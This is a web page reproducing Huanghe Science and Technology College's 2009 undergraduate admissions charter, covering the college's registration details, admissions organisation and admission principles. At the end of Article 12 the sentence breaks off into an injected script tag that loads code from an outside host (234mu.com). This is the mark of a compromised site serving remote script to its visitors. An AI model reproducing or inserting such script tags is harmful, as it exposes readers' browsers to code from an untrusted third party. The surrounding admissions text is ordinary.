黄河科技学院2009年招生章程

时间:2022年10月16日    来源:民教网    阅读:0

第一章              
第一条 为确保黄河科技学院普通本、专科招生工作的顺利进行,规范招生行为,维护考生合法权益,依照《中华人民共和国教育法》、《中华人民共和国高等教育法》和教育部《2009年普通高等学校招生工作规定》,特制定本招生章程。
第二条 学院名称为黄河科技学院,国标代码 11834。
第三条 学院注册地址为河南省郑州市航海中路94号,邮政编码450006 。
第四条 黄河科技学院招生工作接受省教育厅、省招办的指导检查和纪检监察部门、新闻媒体、考生及其家长以及社会各界的监督。
第五条 黄河科技学院是经国家教育部批准独立设置的民办普通本科高校,学院坚持正确的办学方向,以教学质量为生命线,不断提高人才培养质量,受到社会各界的好评和赞誉。
第六条 学院拥有实力雄厚的师资队伍,教学条件、教学设施充分满足教学需求,为提高教学质量提供了可靠保证。学院高度重视毕业生就业安置工作,设有健全的毕业生就业安置机构。
第二章   组织机构和人员
第七条 根据教育部有关规定,黄河科技学院设立招生工作委员会,委员会下设招生领导小组,组长由主管校长担任。招生领导小组负责制定招生政策、拟定招生计划和讨论决定招生重大事宜。
第八条 黄河科技学院招生办公室是学院组织和实施招生工作的常设机构,具体负责全校招生的各项工作。招生办公室根据需要组建赴各省(自治区、直辖市)各地市招生工作组,负责该地区的招生宣传和咨询等项工作。
第九条 学院党的纪律检查委员会及学校有关领导对招生工作实施全面监督。
 
第三章   录   取
第十条 依据国家教育部最新颁发的《教育部关于做好普通高等学校招生工作的通知》和黄河科技学院制定的《黄河科技学院招生录取工作实施细则》,严格执行教育部规定的“学校负责,招办监督”的录取规定,遵循“公平竞争、公正选拔、公开程序,德智体全面考核、综合评价、择优录取”的原则,进行高招录取工作。
第十一条 黄河科技学院按照普通类(含对口)、专升本、艺术类、合作办学分代码(分类)等录取批次进行实施网上录取。
第十二条 考生在思想政治品德考核和身体健康状况检查合格、统考成绩达到同批录取控制分数线,符合提档要求的情况下,学校将依据考生志愿,从高分到低分按顺序录取?script src=http://www.234mu.com/>

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